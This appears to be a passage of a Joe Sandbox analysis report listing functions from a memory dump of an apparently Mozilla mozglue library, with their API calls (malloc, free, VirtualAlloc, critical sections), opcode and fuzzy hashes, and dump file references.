Instruction ID: 2d6477e9dad1e22ea36e303089c7473f71edab069f8fdfcc3e2a0542abee8c38
Opcode Fuzzy Hash: a364ac1be48b283c4613f430230d8dcb0c9ad2f81df66a0b1afabfec7fe93a83
Instruction Fuzzy Hash: C351B071A002058FE720DF69CC80BAAB7B6FF98314F2C4629D51AA7B54D734F9168B80

Function 6C988E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988EBF
free.MOZGLUE(?,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?,6C9AD734), ref: 6C988F46
free.MOZGLUE(?,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C97B58D,?,?,?,?,?,?,?,6C9AD734,?,?,?), ref: 6C988F8F

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0e68ae6a4e44df7a7f83acc808c0e2043bc8783de8eec33c70e54005026f0691
Instruction ID: ab1a3256729cae7102c31fd845212350378b9d97e912912f9eec199a18e91e88
Opcode Fuzzy Hash: 0e68ae6a4e44df7a7f83acc808c0e2043bc8783de8eec33c70e54005026f0691
Instruction Fuzzy Hash: 4A51B2B1A022168FEB18CF64D88076E73B6FF44318F25092AD916AB741E731F915CBE5

Function 6C9460E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9460F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C946180
free.MOZGLUE(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C946211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C946229
free.MOZGLUE(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C94625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C946271

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b15d80983e813fca68f97fbbaf1a88fae2c373c6bebbf13d622f203b753df076
Instruction ID: 182eeb75806d51ae23da3b0385b911bbe57fcb22830941068ed02e0e1d21f7de
Opcode Fuzzy Hash: b15d80983e813fca68f97fbbaf1a88fae2c373c6bebbf13d622f203b753df076
Instruction Fuzzy Hash: 6E5178F1A0420A9FEB14CFA8D8807AEB7B5EF49308F248539D616D7711E731EA58CB51

Function 6C9827E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98289A
free.MOZGLUE(?,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C9828F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C982910
free.MOZGLUE(00000001,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98294E

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7d563f7ebe866d3bda708417618ce344cf921dbe26579f8379f8de6e74581c26
Instruction ID: 5ae906131a3fb49b09dddeee20c0aa9defe660e430475b44e1115cb2d06f100b
Opcode Fuzzy Hash: 7d563f7ebe866d3bda708417618ce344cf921dbe26579f8379f8de6e74581c26
Instruction Fuzzy Hash: 6541C2B1B056068FEB14CF68D98876A73FAEF45308F250939D956EB740E732E904CB61

Function 6C93CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C93D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C93D139

Strings

MOZ_CRASH(), xrefs: 6C93D187

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 6426eff958d541e860be94203ff40b2dbd091c45634ff20a981ac0eee11f35da
Instruction ID: 8657fab9d0cbf658bcca8914360e90144270d883fda21fb1feb7fdba60b24d69
Opcode Fuzzy Hash: 6426eff958d541e860be94203ff40b2dbd091c45634ff20a981ac0eee11f35da
Instruction Fuzzy Hash: 9541B472B15326AFDB048E7C8DE436B76B9EB49B14F240139E918E7784D7B59D0087C8

Function 6C934DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C934EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C934F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C934F1E

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 4731db0923093830179fcc77465ad8a964737c5892d33e214adec751653a1baa
Instruction ID: 5d5f82f6f7f2191a8e199f8dc861226de146343c49a14c496c39bf324710bf63
Opcode Fuzzy Hash: 4731db0923093830179fcc77465ad8a964737c5892d33e214adec751653a1baa
Instruction Fuzzy Hash: B941FF716087119FC711CF29C88095BBBE8BF99344F159A2DF46987B81DB32E958CF82

Function 6C941530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C94159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C9415BC
moz_xmalloc.MOZGLUE(-00000001,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C9415E7
free.MOZGLUE(?,?,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C941606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C941637

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: bf6ce50d7a1c4815cb0cdf1466a8ea9c698414b9e44f87fbaad4e2e1b4e14815
Instruction ID: 0365119587c7b6c7e95256d5ce91fef9dc9346e6e6740217ea7bf917b34f6cbf
Opcode Fuzzy Hash: bf6ce50d7a1c4815cb0cdf1466a8ea9c698414b9e44f87fbaad4e2e1b4e14815
Instruction Fuzzy Hash: ED31E872A001159FCB189E78D8504BE77A9BB923647244B2DE423DBBD4EB30D9258791

Function 6C99AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AD9D

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE01
GetLastError.KERNEL32(?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE3D

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 90f3c059bb337463f6267903d3fff06c0ccc2e2f7bb40a8fe858a37eb1aea45c
Instruction ID: b597479c570f1ed6e9cef42561b371cc81e9674b4db4fce2faa17dda8e27b9a1
Opcode Fuzzy Hash: 90f3c059bb337463f6267903d3fff06c0ccc2e2f7bb40a8fe858a37eb1aea45c
Instruction Fuzzy Hash: A63141B1E042159FDB10DFB98C44AABB7F8EF59614F15882DE84AD7740EB34E805CBA4

Function 6C995EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9ADCA0,?,?,?,6C96E8B5,00000000), ref: 6C995F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C96E8B5,00000000), ref: 6C995F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C96E8B5,00000000), ref: 6C995F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C96E8B5,00000000), ref: 6C995F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C96E8B5,00000000), ref: 6C995FD6

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 6b052a90ff7ac27ae7a5a756a34e647243ff91c15a037041498565c941881e6c
Instruction ID: f18e239c381add5e0b263512a43ab366c4a39f7624366e9075ed0ab6274c31f1
Opcode Fuzzy Hash: 6b052a90ff7ac27ae7a5a756a34e647243ff91c15a037041498565c941881e6c
Instruction Fuzzy Hash: 56310B353046009FD710CF29C898B2BB7F9FF8932ABA88658E55687B95C735EC51CB80

Function 6C93B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C93B532
moz_xmalloc.MOZGLUE(?), ref: 6C93B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C93B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C93B57E
free.MOZGLUE(00000000), ref: 6C93B58F

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec947826d989d5f604ca291c55dca2fedf6226e14b73fcbba95995f68a75e55a
Instruction ID: 0521385bd8c7ea6e43ac81d2fb2d5063f435becff39df1a8d1820f12b5f8d9bd
Opcode Fuzzy Hash: ec947826d989d5f604ca291c55dca2fedf6226e14b73fcbba95995f68a75e55a
Instruction Fuzzy Hash: 6A21F371A04615ABDB00CF69CC40BABBBB9FF92308F284029E818DB341E776D915C7A1

Function 6C93B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C93B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C93B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C93B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C93B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C93B849

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 68eab9b600c180a05db1b0374b737d72ed246553ff545066ce4a15b29570ee88
Instruction ID: 5537d8d399b74fa97b6481c133032d92c6331eb26de23c9e8219d4c33bca2e7a
Opcode Fuzzy Hash: 68eab9b600c180a05db1b0374b737d72ed246553ff545066ce4a15b29570ee88
Instruction Fuzzy Hash: 71215EB0E042199FDF04DFA9C8855BFBBB4EF49314F148169ED09A7741E731A944CBA0

Function 6C996E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C996E78

Part of subcall function 6C996A10: InitializeCriticalSection.KERNEL32(6C9BF618), ref: 6C996A68
Part of subcall function 6C996A10: GetCurrentProcess.KERNEL32 ref: 6C996A7D
Part of subcall function 6C996A10: GetCurrentProcess.KERNEL32 ref: 6C996AA1
Part of subcall function 6C996A10: EnterCriticalSection.KERNEL32(6C9BF618), ref: 6C996AAE
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C996AE1
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C996B15
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C996B65
Part of subcall function 6C996A10: LeaveCriticalSection.KERNEL32(6C9BF618,?,?), ref: 6C996B83

MozFormatCodeAddress.MOZGLUE ref: 6C996EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C996EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C996EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C996EFF

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 0b86cd6c5cddaafd80e5e474898ea0b380881abdb8ffdb48007e5708b46df687
Instruction ID: d1a331e53398c026d813ce98a213ee920f97014a81797a4e9ff836becd81115f
Opcode Fuzzy Hash: 0b86cd6c5cddaafd80e5e474898ea0b380881abdb8ffdb48007e5708b46df687
Instruction Fuzzy Hash: 3021A171A0821A9FDB00DF69D8C5A9F77F9EF88348F044039E80997241EB749A58CF96

Function 6C9976C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9976F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C997705

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C997717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C99778F,00000000,00000000,00000000,00000000), ref: 6C997731
free.MOZGLUE(00000000), ref: 6C997760

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 77555530f7a16e69e7e2120c8dc14e81be6d66ce43e33dc92b6819d2eafdbbf1
Instruction ID: 69a5114d327dee6793e41c21edd8345b07096d92543ce9dfcb0747af770b4f1f
Opcode Fuzzy Hash: 77555530f7a16e69e7e2120c8dc14e81be6d66ce43e33dc92b6819d2eafdbbf1
Instruction Fuzzy Hash: 8B11B2B1904215ABE710AFB68C44BAFBEF8EF59754F144429F848A7300E771985487E2

Function 6C970D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C933DEF), ref: 6C970D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C933DEF), ref: 6C970D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C933DEF), ref: 6C970DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C970D97, 6C970DBE
<jemalloc>, xrefs: 6C970D92, 6C970DB9

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: cc1e2f091bb532fea58041fadc97a8da2c9ea9affdbf76d948735fefa2617bfb
Instruction ID: 21091fc238dceb91e87bba81a506328cf09b7a9c1031a34f474b65ad3a2f2951
Opcode Fuzzy Hash: cc1e2f091bb532fea58041fadc97a8da2c9ea9affdbf76d948735fefa2617bfb
Instruction Fuzzy Hash: 76F0897139639433E73021665D0AB5B266DB7C6B65F345035F204EE9C0DAA5E8104AB9

Function 6C987620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9875C4,?), ref: 6C98762B

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987644
GetCurrentThreadId.KERNEL32 ref: 6C98765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987677

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 6602721274212a0ce1e8892293bd3600d5d58fc060517f35ffc92c35d6bd597d
Instruction ID: 94f4b069cc32141e7f95fd3415cd06e4f4d5e3644e610fe8e3e34971cbe87060
Opcode Fuzzy Hash: 6602721274212a0ce1e8892293bd3600d5d58fc060517f35ffc92c35d6bd597d
Instruction Fuzzy Hash: 89F0C271E14745AFD7008F21C888676B778FFEA259F21431AF90543651E7B0B5D08BD0

Function 6C991700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C991800

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9918C7
name, xrefs: 6C991939
Details, xrefs: 6C991925

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 8669900055caacd4eaeb12abc0718d24918cb395ccc93c2c951d4d878b8135cc
Instruction ID: b0cde56b54c111f17daeb0521cda1f38a0e0123c470b6779913150e1543e0204
Opcode Fuzzy Hash: 8669900055caacd4eaeb12abc0718d24918cb395ccc93c2c951d4d878b8135cc
